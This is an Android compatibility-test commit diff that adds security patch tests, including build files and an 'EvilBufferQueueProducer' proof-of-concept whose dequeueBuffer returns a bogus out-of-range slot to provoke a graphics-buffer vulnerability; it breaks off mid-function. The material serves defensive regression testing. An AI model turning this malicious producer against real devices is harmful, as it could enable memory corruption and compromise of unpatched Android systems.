[automerger] Merge "DO NOT MERGE: Fix expected error for missing ZIP local header magic." into nougat-mr1-cts-dev am: f2db306ba2  -s ours am: 11d6ab0780 am: f26fc1c19e

Change-Id: Id71aac17ad1d9fab37552a7c36cba262e2657af2
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 50c7728..2aaa4d8 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -57,8 +57,58 @@
         <!-- Bulletin 2017-04 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
 
+
+        <!--__________________-->
+        <!-- Bulletin 2017-05 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <option name="push" value="CVE-2017-0595->/data/local/tmp/CVE-2017-0595" />
+        <option name="push" value="CVE-2017-0596->/data/local/tmp/CVE-2017-0596" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-06 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+
+        <!--__________________-->
+        <!-- Bulletin 2017-07 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <option name="push" value="CVE-2017-0340->/data/local/tmp/CVE-2017-0340" />
+        <option name="push" value="Bug-36991414->/data/local/tmp/Bug-36991414" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-08 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <option name="push" value="CVE-2017-0731->/data/local/tmp/CVE-2017-0731" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-09 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+        <option name="push" value="CVE-2017-0770->/data/local/tmp/CVE-2017-0770" />
+
+        <!--__________________-->
+        <!-- Bulletin 2017-10 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+
+        <!--__________________-->
+        <!-- Bulletin 2017-11 -->
+        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+
         <option name="append-bitness" value="true" />
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+
+        <option name="push" value="cve_2017_0770.mp4->/sdcard/cve_2017_0770.mp4" />
+
+        <option name="append-bitness" value="false" />
+    </target_preparer>
+
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSecurityHostTestCases.jar" />
         <option name="runtime-hint" value="32s" />
diff --git a/hostsidetests/security/res/cve_2017_0859.mp4 b/hostsidetests/security/res/cve_2017_0859.mp4
new file mode 100644
index 0000000..1313815
--- /dev/null
+++ b/hostsidetests/security/res/cve_2017_0859.mp4
Binary files differ
diff --git a/hostsidetests/security/securityPatch/Bug-36991414/Android.mk b/hostsidetests/security/securityPatch/Bug-36991414/Android.mk
new file mode 100644
index 0000000..6351ef3
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36991414/Android.mk
@@ -0,0 +1,45 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-36991414
+LOCAL_SRC_FILES := poc.cpp BufferQueueProducer.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)\
+		$(TOP)/frameworks/native/include/media/openmax \
+		$(TOP)/frameworks/av/include/media \
+		$(TOP)/frameworks/native/include/media/hardware \
+		$(TOP)/system/core/include \
+
+LOCAL_SHARED_LIBRARIES += \
+	libstagefright libmedia libutils libbinder libstagefright_foundation \
+	libjpeg libgui libcutils liblog libui libEGL
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-36991414/BufferQueueProducer.cpp b/hostsidetests/security/securityPatch/Bug-36991414/BufferQueueProducer.cpp
new file mode 100644
index 0000000..e39a3cc
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36991414/BufferQueueProducer.cpp
@@ -0,0 +1,1309 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+#include <inttypes.h>
+
+#define LOG_TAG "EvilBufferQueueProducer"
+#define ATRACE_TAG ATRACE_TAG_GRAPHICS
+//#define LOG_NDEBUG 0
+#define private public
+#if DEBUG_ONLY_CODE
+#define VALIDATE_CONSISTENCY()          \
+  do {                                  \
+    mCore->validateConsistencyLocked(); \
+  } while (0)
+#else
+#define VALIDATE_CONSISTENCY()
+#endif
+
+#define EGL_EGLEXT_PROTOTYPES
+
+#include <binder/IPCThreadState.h>
+#include <gui/BufferItem.h>
+#include <gui/BufferQueueCore.h>
+#include <gui/BufferQueueProducer.h>
+#include <gui/GLConsumer.h>
+#include <gui/IConsumerListener.h>
+#include <gui/IGraphicBufferAlloc.h>
+#include <gui/IProducerListener.h>
+#include <utils/Log.h>
+#include <utils/Trace.h>
+#include "BufferQueueProducer.h"
+
+namespace android {
+
+EvilBufferQueueProducer::EvilBufferQueueProducer(
+    const sp<BufferQueueCore>& core)
+    : mCore(core),
+      mSlots(core->mSlots),
+      mConsumerName(),
+      mStickyTransform(0),
+      mLastQueueBufferFence(Fence::NO_FENCE),
+      mCallbackMutex(),
+      mNextCallbackTicket(0),
+      mCurrentCallbackTicket(0),
+      mCallbackCondition(),
+      mDequeueTimeout(-1) {}
+
+EvilBufferQueueProducer::~EvilBufferQueueProducer() {}
+
+status_t EvilBufferQueueProducer::requestBuffer(int slot,
+                                                sp<GraphicBuffer>* buf) {
+  ATRACE_CALL();
+  BQ_LOGV("requestBuffer: slot %d", slot);
+  Mutex::Autolock lock(mCore->mMutex);
+  if (mCore->mIsAbandoned) {
+    BQ_LOGE("requestBuffer: BufferQueue has been abandoned");
+    return NO_INIT;
+  }
+
+  if (mCore->mConnectedApi == BufferQueueCore::NO_CONNECTED_API) {
+    BQ_LOGE("requestBuffer: BufferQueue has no connected producer");
+    return NO_INIT;
+  }
+
+  if (slot < 0 || slot >= BufferQueueDefs::NUM_BUFFER_SLOTS) {
+    BQ_LOGE("requestBuffer: slot index %d out of range [0, %d)", slot,
+            BufferQueueDefs::NUM_BUFFER_SLOTS);
+    return BAD_VALUE;
+  } else if (!mSlots[slot].mBufferState.isDequeued()) {
+    BQ_LOGE(
+        "requestBuffer: slot %d is not owned by the producer "
+        "(state = %s)",
+        slot, mSlots[slot].mBufferState.string());
+    return BAD_VALUE;
+  }
+
+  mSlots[slot].mRequestBufferCalled = true;
+  *buf = mSlots[slot].mGraphicBuffer;
+
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::setMaxDequeuedBufferCount(
+    int maxDequeuedBuffers) {
+  ATRACE_CALL();
+  BQ_LOGV("setMaxDequeuedBufferCount: maxDequeuedBuffers = %d",
+          maxDequeuedBuffers);
+
+  sp<IConsumerListener> listener;
+  {  // Autolock scope
+    Mutex::Autolock lock(mCore->mMutex);
+    mCore->waitWhileAllocatingLocked();
+
+    if (mCore->mIsAbandoned) {
+      BQ_LOGE(
+          "setMaxDequeuedBufferCount: BufferQueue has been "
+          "abandoned");
+      return NO_INIT;
+    }
+
+    if (maxDequeuedBuffers == mCore->mMaxDequeuedBufferCount) {
+      return NO_ERROR;
+    }
+
+    // The new maxDequeuedBuffer count should not be violated by the number
+    // of currently dequeued buffers
+    int dequeuedCount = 0;
+    for (int s : mCore->mActiveBuffers) {
+      if (mSlots[s].mBufferState.isDequeued()) {
+        dequeuedCount++;
+      }
+    }
+    if (dequeuedCount > maxDequeuedBuffers) {
+      BQ_LOGE(
+          "setMaxDequeuedBufferCount: the requested maxDequeuedBuffer"
+          "count (%d) exceeds the current dequeued buffer count (%d)",
+          maxDequeuedBuffers, dequeuedCount);
+      return BAD_VALUE;
+    }
+
+    int bufferCount = mCore->getMinUndequeuedBufferCountLocked();
+    bufferCount += maxDequeuedBuffers;
+
+    if (bufferCount > BufferQueueDefs::NUM_BUFFER_SLOTS) {
+      BQ_LOGE(
+          "setMaxDequeuedBufferCount: bufferCount %d too large "
+          "(max %d)",
+          bufferCount, BufferQueueDefs::NUM_BUFFER_SLOTS);
+      return BAD_VALUE;
+    }
+
+    const int minBufferSlots = mCore->getMinMaxBufferCountLocked();
+    if (bufferCount < minBufferSlots) {
+      BQ_LOGE(
+          "setMaxDequeuedBufferCount: requested buffer count %d is "
+          "less than minimum %d",
+          bufferCount, minBufferSlots);
+      return BAD_VALUE;
+    }
+
+    if (bufferCount > mCore->mMaxBufferCount) {
+      BQ_LOGE(
+          "setMaxDequeuedBufferCount: %d dequeued buffers would "
+          "exceed the maxBufferCount (%d) (maxAcquired %d async %d "
+          "mDequeuedBufferCannotBlock %d)",
+          maxDequeuedBuffers, mCore->mMaxBufferCount,
+          mCore->mMaxAcquiredBufferCount, mCore->mAsyncMode,
+          mCore->mDequeueBufferCannotBlock);
+      return BAD_VALUE;
+    }
+
+    int delta = maxDequeuedBuffers - mCore->mMaxDequeuedBufferCount;
+    if (!mCore->adjustAvailableSlotsLocked(delta)) {
+      return BAD_VALUE;
+    }
+    mCore->mMaxDequeuedBufferCount = maxDequeuedBuffers;
+    VALIDATE_CONSISTENCY();
+    if (delta < 0) {
+      listener = mCore->mConsumerListener;
+    }
+    mCore->mDequeueCondition.broadcast();
+  }  // Autolock scope
+
+  // Call back without lock held
+  if (listener != NULL) {
+    listener->onBuffersReleased();
+  }
+
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::setAsyncMode(bool async) {
+  ATRACE_CALL();
+  BQ_LOGV("setAsyncMode: async = %d", async);
+
+  sp<IConsumerListener> listener;
+  {  // Autolock scope
+    Mutex::Autolock lock(mCore->mMutex);
+    mCore->waitWhileAllocatingLocked();
+
+    if (mCore->mIsAbandoned) {
+      BQ_LOGE("setAsyncMode: BufferQueue has been abandoned");
+      return NO_INIT;
+    }
+
+    if (async == mCore->mAsyncMode) {
+      return NO_ERROR;
+    }
+
+    if ((mCore->mMaxAcquiredBufferCount + mCore->mMaxDequeuedBufferCount +
+         (async || mCore->mDequeueBufferCannotBlock ? 1 : 0)) >
+        mCore->mMaxBufferCount) {
+      BQ_LOGE(
+          "setAsyncMode(%d): this call would cause the "
+          "maxBufferCount (%d) to be exceeded (maxAcquired %d "
+          "maxDequeued %d mDequeueBufferCannotBlock %d)",
+          async, mCore->mMaxBufferCount, mCore->mMaxAcquiredBufferCount,
+          mCore->mMaxDequeuedBufferCount, mCore->mDequeueBufferCannotBlock);
+      return NO_ERROR;
+      //            return BAD_VALUE;
+    }
+
+    int delta =
+        mCore->getMaxBufferCountLocked(async, mCore->mDequeueBufferCannotBlock,
+                                       mCore->mMaxBufferCount) -
+        mCore->getMaxBufferCountLocked();
+
+    if (!mCore->adjustAvailableSlotsLocked(delta)) {
+      BQ_LOGE(
+          "setAsyncMode: BufferQueue failed to adjust the number of "
+          "available slots. Delta = %d",
+          delta);
+      return BAD_VALUE;
+    }
+    mCore->mAsyncMode = async;
+    VALIDATE_CONSISTENCY();
+    mCore->mDequeueCondition.broadcast();
+    if (delta < 0) {
+      listener = mCore->mConsumerListener;
+    }
+  }  // Autolock scope
+
+  // Call back without lock held
+  if (listener != NULL) {
+    listener->onBuffersReleased();
+  }
+  return NO_ERROR;
+}
+
+int EvilBufferQueueProducer::getFreeBufferLocked() const {
+  if (mCore->mFreeBuffers.empty()) {
+    return BufferQueueCore::INVALID_BUFFER_SLOT;
+  }
+  int slot = mCore->mFreeBuffers.front();
+  mCore->mFreeBuffers.pop_front();
+  return slot;
+}
+
+int EvilBufferQueueProducer::getFreeSlotLocked() const {
+  if (mCore->mFreeSlots.empty()) {
+    return BufferQueueCore::INVALID_BUFFER_SLOT;
+  }
+  int slot = *(mCore->mFreeSlots.begin());
+  mCore->mFreeSlots.erase(slot);
+  return slot;
+}
+
+status_t EvilBufferQueueProducer::waitForFreeSlotThenRelock(
+    FreeSlotCaller caller, int* found) const {
+  auto callerString =
+      (caller == FreeSlotCaller::Dequeue) ? "dequeueBuffer" : "attachBuffer";
+  bool tryAgain = true;
+  while (tryAgain) {
+    if (mCore->mIsAbandoned) {
+      BQ_LOGE("%s: BufferQueue has been abandoned", callerString);
+      return NO_INIT;
+    }
+
+    int dequeuedCount = 0;
+    int acquiredCount = 0;
+    for (int s : mCore->mActiveBuffers) {
+      if (mSlots[s].mBufferState.isDequeued()) {
+        ++dequeuedCount;
+      }
+      if (mSlots[s].mBufferState.isAcquired()) {
+        ++acquiredCount;
+      }
+    }
+
+    // Producers are not allowed to dequeue more than
+    // mMaxDequeuedBufferCount buffers.
+    // This check is only done if a buffer has already been queued
+    if (mCore->mBufferHasBeenQueued &&
+        dequeuedCount >= mCore->mMaxDequeuedBufferCount) {
+      BQ_LOGE(
+          "%s: attempting to exceed the max dequeued buffer count "
+          "(%d)",
+          callerString, mCore->mMaxDequeuedBufferCount);
+      return INVALID_OPERATION;
+    }
+
+    *found = BufferQueueCore::INVALID_BUFFER_SLOT;
+
+    // If we disconnect and reconnect quickly, we can be in a state where
+    // our slots are empty but we have many buffers in the queue. This can
+    // cause us to run out of memory if we outrun the consumer. Wait here if
+    // it looks like we have too many buffers queued up.
+    const int maxBufferCount = mCore->getMaxBufferCountLocked();
+    bool tooManyBuffers =
+        mCore->mQueue.size() > static_cast<size_t>(maxBufferCount);
+    if (tooManyBuffers) {
+      BQ_LOGV("%s: queue size is %zu, waiting", callerString,
+              mCore->mQueue.size());
+    } else {
+      // If in shared buffer mode and a shared buffer exists, always
+      // return it.
+      if (mCore->mSharedBufferMode &&
+          mCore->mSharedBufferSlot != BufferQueueCore::INVALID_BUFFER_SLOT) {
+        *found = mCore->mSharedBufferSlot;
+      } else {
+        if (caller == FreeSlotCaller::Dequeue) {
+          // If we're calling this from dequeue, prefer free buffers
+          int slot = getFreeBufferLocked();
+          if (slot != BufferQueueCore::INVALID_BUFFER_SLOT) {
+            *found = slot;
+          } else if (mCore->mAllowAllocation) {
+            *found = getFreeSlotLocked();
+          }
+        } else {
+          // If we're calling this from attach, prefer free slots
+          int slot = getFreeSlotLocked();
+          if (slot != BufferQueueCore::INVALID_BUFFER_SLOT) {
+            *found = slot;
+          } else {
+            *found = getFreeBufferLocked();
+          }
+        }
+      }
+    }
+
+    // If no buffer is found, or if the queue has too many buffers
+    // outstanding, wait for a buffer to be acquired or released, or for the
+    // max buffer count to change.
+    tryAgain =
+        (*found == BufferQueueCore::INVALID_BUFFER_SLOT) || tooManyBuffers;
+    if (tryAgain) {
+      // Return an error if we're in non-blocking mode (producer and
+      // consumer are controlled by the application).
+      // However, the consumer is allowed to briefly acquire an extra
+      // buffer (which could cause us to have to wait here), which is
+      // okay, since it is only used to implement an atomic acquire +
+      // release (e.g., in GLConsumer::updateTexImage())
+      if ((mCore->mDequeueBufferCannotBlock || mCore->mAsyncMode) &&
+          (acquiredCount <= mCore->mMaxAcquiredBufferCount)) {
+        return WOULD_BLOCK;
+      }
+      if (mDequeueTimeout >= 0) {
+        status_t result = mCore->mDequeueCondition.waitRelative(
+            mCore->mMutex, mDequeueTimeout);
+        if (result == TIMED_OUT) {
+          return result;
+        }
+      } else {
+        mCore->mDequeueCondition.wait(mCore->mMutex);
+      }
+    }
+  }  // while (tryAgain)
+
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::dequeueBuffer(int* outSlot,
+                                                sp<android::Fence>* outFence,
+                                                uint32_t width, uint32_t height,
+                                                PixelFormat format,
+                                                uint32_t usage) {
+  ATRACE_CALL();
+  {  // Evil
+    *outSlot = 0x400010;
+    *outFence = Fence::NO_FENCE;
+    return 8;
+  }
+}
+
+status_t EvilBufferQueueProducer::detachBuffer(int slot) {
+  ATRACE_CALL();
+  ATRACE_BUFFER_INDEX(slot);
+  BQ_LOGV("detachBuffer: slot %d", slot);
+
+  sp<IConsumerListener> listener;
+  {
+    Mutex::Autolock lock(mCore->mMutex);
+
+    if (mCore->mIsAbandoned) {
+      BQ_LOGE("detachBuffer: BufferQueue has been abandoned");
+      return NO_INIT;
+    }
+
+    if (mCore->mConnectedApi == BufferQueueCore::NO_CONNECTED_API) {
+      BQ_LOGE("detachBuffer: BufferQueue has no connected producer");
+      return NO_INIT;
+    }
+
+    if (mCore->mSharedBufferMode || mCore->mSharedBufferSlot == slot) {
+      BQ_LOGE("detachBuffer: cannot detach a buffer in shared buffer mode");
+      return BAD_VALUE;
+    }
+
+    if (slot < 0 || slot >= BufferQueueDefs::NUM_BUFFER_SLOTS) {
+      BQ_LOGE("detachBuffer: slot index %d out of range [0, %d)", slot,
+              BufferQueueDefs::NUM_BUFFER_SLOTS);
+      return BAD_VALUE;
+    } else if (!mSlots[slot].mBufferState.isDequeued()) {
+      BQ_LOGE(
+          "detachBuffer: slot %d is not owned by the producer "
+          "(state = %s)",
+          slot, mSlots[slot].mBufferState.string());
+      return BAD_VALUE;
+    } else if (!mSlots[slot].mRequestBufferCalled) {
+      BQ_LOGE("detachBuffer: buffer in slot %d has not been requested", slot);
+      return BAD_VALUE;
+    }
+
+    mSlots[slot].mBufferState.detachProducer();
+    mCore->mActiveBuffers.erase(slot);
+    mCore->mFreeSlots.insert(slot);
+    mCore->clearBufferSlotLocked(slot);
+    mCore->mDequeueCondition.broadcast();
+    VALIDATE_CONSISTENCY();
+    listener = mCore->mConsumerListener;
+  }
+
+  if (listener != NULL) {
+    listener->onBuffersReleased();
+  }
+
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::detachNextBuffer(sp<GraphicBuffer>* outBuffer,
+                                                   sp<Fence>* outFence) {
+  ATRACE_CALL();
+
+  if (outBuffer == NULL) {
+    BQ_LOGE("detachNextBuffer: outBuffer must not be NULL");
+    return BAD_VALUE;
+  } else if (outFence == NULL) {
+    BQ_LOGE("detachNextBuffer: outFence must not be NULL");
+    return BAD_VALUE;
+  }
+
+  Mutex::Autolock lock(mCore->mMutex);
+
+  if (mCore->mIsAbandoned) {
+    BQ_LOGE("detachNextBuffer: BufferQueue has been abandoned");
+    return NO_INIT;
+  }
+
+  if (mCore->mConnectedApi == BufferQueueCore::NO_CONNECTED_API) {
+    BQ_LOGE("detachNextBuffer: BufferQueue has no connected producer");
+    return NO_INIT;
+  }
+
+  if (mCore->mSharedBufferMode) {
+    BQ_LOGE(
+        "detachNextBuffer: cannot detach a buffer in shared buffer "
+        "mode");
+    return BAD_VALUE;
+  }
+
+  mCore->waitWhileAllocatingLocked();
+
+  if (mCore->mFreeBuffers.empty()) {
+    return NO_MEMORY;
+  }
+
+  int found = mCore->mFreeBuffers.front();
+  mCore->mFreeBuffers.remove(found);
+  mCore->mFreeSlots.insert(found);
+
+  BQ_LOGV("detachNextBuffer detached slot %d", found);
+
+  *outBuffer = mSlots[found].mGraphicBuffer;
+  *outFence = mSlots[found].mFence;
+  mCore->clearBufferSlotLocked(found);
+  VALIDATE_CONSISTENCY();
+
+  return NO_ERROR;
+}
+
+status_t EvilBufferQueueProducer::attachBuffer(
+    int* outSlot, const sp<android::GraphicBuffer>& buffer) {
+  ATRACE_CALL();
+
+  if (outSlot == NULL) {
+    BQ_LOGE("attachBuffer: outSlot must not be NULL");
+    return BAD_VALUE;
+  } else if (buffer == NULL) {
+    BQ_LOGE("attachBuffer: cannot attach NULL buffer");
+    return BAD_VALUE;
+  }
+
+  Mutex::Autolock lock(mCore->mMutex);
+
+  if (mCore->mIsAbandoned) {
+    BQ_LOGE("attachBuffer: BufferQueue has been abandoned");
+    return NO_INIT;
+  }
+
+  if (mCore->mConnectedApi == BufferQueueCore::NO_CONNECTED_API) {
+    BQ_LOGE("attachBuffer: BufferQueue has no connected producer");
+    return NO_INIT;
+  }
+
+  if (mCore->mSharedBufferMode) {
+    BQ_LOGE("attachBuffer: cannot attach a buffer in shared buffer mode");
+    return BAD_VALUE;
+  }
+
+  if (buffer->getGenerationNumber() != mCore->mGenerationNumber) {
+    BQ_LOGE(
+        "attachBuffer: generation number mismatch [buffer %u] "
+        "[queue %u]",
+        buffer->getGenerationNumber(), mCore->mGenerationNumber);
+    return BAD_VALUE;
+  }
+
+  mCore->waitWhileAllocatingLocked();
+
+  status_t returnFlags = NO_ERROR;
+  int found;
+  status_t status = waitForFreeSlotThenRelock(FreeSlotCaller::Attach, &found);
+  if (status != NO_ERROR) {
+    return status;
+  }
+
+  // This should not happen
+  if (found == BufferQueueCore::INVALID_BUFFER_SLOT) {
+    BQ_LOGE("attachBuffer: no available buffer slots");
+    return -EBUSY;
+  }
+
+  *outSlot = found;
+  ATRACE_BUFFER_INDEX(*outSlot);
+  BQ_LOGV("attachBuffer: returning slot %d flags=%#x", *outSlot, returnFlags);
+
+  mSlots[*outSlot].mGraphicBuffer = buffer;
+  mSlots[*outSlot].mBufferState.attachProducer();
+  mSlots[*outSlot].mEglFence = EGL_NO_SYNC_KHR;
+  mSlots[*outSlot].mFence = Fence::NO_FENCE;
+  mSlots[*outSlot].mRequestBufferCalled = true;
+  mSlots[*outSlot].mAcquireCalled = false;
+  mCore->mActiveBuffers.insert(found);
+  VALIDATE_CONSISTENCY();
+
+  return returnFlags;
+}
+
+status_t EvilBufferQueueProducer::queueBuffer(int slot,
+                                              const QueueBufferInput& input,
+                                              QueueBufferOutput* output) {
+  ATRACE_CALL();
+  ATRACE_BUFFER_INDEX(slot);
+
+  int64_t timestamp;
+  bool isAutoTimestamp;
+  android_dataspace dataSpace;
+  Rect crop(Rect::EMPTY_RECT);
+  int scalingMode;
+  uint32_t transform;
+  uint32_t stickyTransform;
+  sp<Fence> fence;
+  input.deflate(&timestamp, &isAutoTimestamp, &dataSpace, &crop, &scalingMode,
+                &transform, &fence, &stickyTransform);
+  Region surfaceDamage = input.getSurfaceDamage();
+
+  if (fence == NULL) {
+    BQ_LOGE("queueBuffer: fence is NULL");
+    return BAD_VALUE;
+  }
+
+  switch (scalingMode) {
+    case NATIVE_WINDOW_SCALING_MODE_FREEZE:
+    case NATIVE_WINDOW_SCALING_MODE_SCALE_TO_WINDOW:
+    case NATIVE_WINDOW_SCALING_MODE_SCALE_CROP:
+    case NATIVE_WINDOW_SCALING_MODE_NO_SCALE_CROP:
+      break;
+    default:
+      BQ_LOGE("queueBuffer: unknown scaling mode %d", scalingMode);
+      return BAD_VALUE;
+  }
+
+  sp<IConsumerListener> frameAvailableListener;
+  sp<IConsumerListener> frameReplacedListener;
+  int callbackTicket = 0;
+  BufferItem item;
+  {  // Autolock scope
+    Mutex::Autolock lock(mCore->mMutex);
+
+    if (mCore->mIsAbandoned) {
+      BQ_LOGE("queueBuffer: BufferQueue has been abandoned");
+      return NO_INIT;
+    }
+
+    if (mCore->mConnectedApi == BufferQueueCore::NO_CONNECTED_API) {
+      BQ_LOGE("queueBuffer: BufferQueue has no connected producer");
+      return NO_INIT;
+    }
+
+    if (slot < 0 || slot >= BufferQueueDefs::NUM_BUFFER_SLOTS) {
+      BQ_LOGE("queueBuffer: slot index %d out of range [0, %d)", slot,
+              BufferQueueDefs::NUM_BUFFER_SLOTS);
+      return BAD_VALUE;
+    } else if (!mSlots[slot].mBufferState.isDequeued()) {
+      BQ_LOGE(
+          "queueBuffer: slot %d is not owned by the producer "
+          "(state = %s)",
+          slot, mSlots[slot].mBufferState.string());
+      return BAD_VALUE;
+    } else if (!mSlots[slot].mRequestBufferCalled) {
+      BQ_LOGE(
+          "queueBuffer: slot %d was queued without requesting "
+          "a buffer",
+          slot);
+      return BAD_VALUE;
+    }
+
+    // If shared buffer mode has just been enabled, cache the slot of the
+    // first buffer that is queued and mark it as the shared buffer.
+    if (mCore->mSharedBufferMode &&
+        mCore->mSharedBufferSlot == BufferQueueCore::INVALID_BUFFER_SLOT) {
+      mCore->mSharedBufferSlot = slot;
+      mSlots[slot].mBufferState.mShared = true;
+    }
+
+    BQ_LOGV("queueBuffer: slot=%d/%" PRIu64 " time=%" PRIu64
+            " dataSpace=%d"
+            " crop=[%d,%d,%d,%d] transform=%#x scale=%s",
+            slot, mCore->mFrameCounter + 1, timestamp, dataSpace, crop.left,
+            crop.top, crop.right, crop.bottom, transform,
+            BufferItem::scalingModeName(static_cast<uint32_t>(scalingMode)));
+
+    const sp<GraphicBuffer>& graphicBuffer(mSlots[slot].mGraphicBuffer);
+    Rect bufferRect(graphicBuffer->getWidth(), graphicBuffer->getHeight());
+    Rect croppedRect(Rect::EMPTY_RECT);
+    crop.intersect(bufferRect, &croppedRect);
+    if (croppedRect != crop) {
+      BQ_LOGE(
+          "queueBuffer: crop rect is not contained within the "
+          "buffer in slot %d",
+          slot);
+      return BAD_VALUE;
+    }
+
+    // Override UNKNOWN dataspace with consumer default
+    if (dataSpace == HAL_DATASPACE_UNKNOWN) {
+      dataSpace = mCore->mDefaultBufferDataSpace;
+    }
+
+    mSlots[slot].mFence = fence;
+    mSlots[slot].mBufferState.queue();
+
+    ++mCore->mFrameCounter;
+    mSlots[slot].mFrameNumber = mCore->mFrameCounter;
+
+    item.mAcquireCalled = mSlots[slot].mAcquireCalled;
+    item.mGraphicBuffer = mSlots[slot].mGraphicBuffer;
+    item.mCrop = crop;
+    item.mTransform = transform & ~static_cast<uint32_t>(
+                                      NATIVE_WINDOW_TRANSFORM_INVERSE_DISPLAY);
+    item.mTransformToDisplayInverse =
+        (transform & NATIVE_WINDOW_TRANSFORM_INVERSE_DISPLAY) != 0;
+    item.mScalingMode = static_cast<uint32_t>(scalingMode);
+    item.mTimestamp = timestamp;
+    item.mIsAutoTimestamp = isAutoTimestamp;
+    item.mDataSpace = dataSpace;
+    item.mFrameNumber = mCore->mFrameCounter;
+    item.mSlot = slot;
+    item.mFence = fence;
+    item.mIsDroppable =
+        mCore->mAsyncMode || mCore->mDequeueBufferCannotBlock ||
+        (mCore->mSharedBufferMode && mCore->mSharedBufferSlot == slot);
+    item.mSurfaceDamage = surfaceDamage;
+    item.mQueuedBuffer = true;
+    item.mAutoRefresh = mCore->mSharedBufferMode && mCore->mAutoRefresh;
+
+    mStickyTransform = stickyTransform;
+
+    // Cache the shared buffer data so that the BufferItem can be recreated.
+    if (mCore->mSharedBufferMode) {
+      mCore->mSharedBufferCache.crop = crop;
+      mCore->mSharedBufferCache.transform = transform;
+      mCore->mSharedBufferCache.scalingMode =
+          static_cast<uint32_t>(scalingMode);
+      mCore->mSharedBufferCache.dataspace = dataSpace;
+    }
+
+    if (mCore->mQueue.empty()) {
+      // When the queue is empty, we can ignore mDequeueBufferCannotBlock
+      // and simply queue this buffer
+      mCore->mQueue.push_back(item);
+      frameAvailableListener = mCore->mConsumerListener;
+    } else {
+      // When the queue is not empty, we need to look at the last buffer
+      // in the queue to see if we need to replace it
+      const BufferItem& last = mCore->mQueue.itemAt(mCore->mQueue.size() - 1);
+      if (last.mIsDroppable) {
+        if (!last.mIsStale) {
+          mSlots[last.mSlot].mBufferState.freeQueued();
+
+          // After leaving shared buffer mode, the shared buffer will
+          // still be around. Mark it as no longer shared if this
+          // operation causes it to be free.
+          if (!mCore->mSharedBufferMode &&
+              mSlots[last.mSlot].mBufferState.isFree()) {
+            mSlots[last.mSlot].mBufferState.mShared = false;
+          }
+          // Don't put the shared buffer on the free list.
+          if (!mSlots[last.mSlot].mBufferState.isShared()) {
+            mCore->mActiveBuffers.erase(last.mSlot);
+            mCore->mFreeBuffers.push_back(last.mSlot);
+          }
+        }
+
+        // Overwrite the droppable buffer with the incoming one
+        mCore->mQueue.editItemAt(mCore->mQueue.size() - 1) = item;
+        frameReplacedListener = mCore->mConsumerListener;
+      } else {
+        mCore->mQueue.push_back(item);
+        frameAvailableListener = mCore->mConsumerListener;
+      }
+    }
+
+    mCore->mBufferHasBeenQueued = true;
+    mCore->mDequeueCondition.broadcast();
+    mCore->mLastQueuedSlot = slot;
+
+    output->inflate(
+        mCore->mDefaultWidth, mCore->mDefaultHeight, mCore->mTransformHint,
+        static_cast<uint32_t>(mCore->mQueue.size()), mCore->mFrameCounter + 1);
+
+    ATRACE_INT(mCore->mConsumerName.string(), mCore->mQueue.size());
+    mCore->mOccupancyTracker.registerOccupancyChange(mCore->mQueue.size());
+
+    // Take a ticket for the callback functions
+    callbackTicket = mNextCallbackTicket++;
+
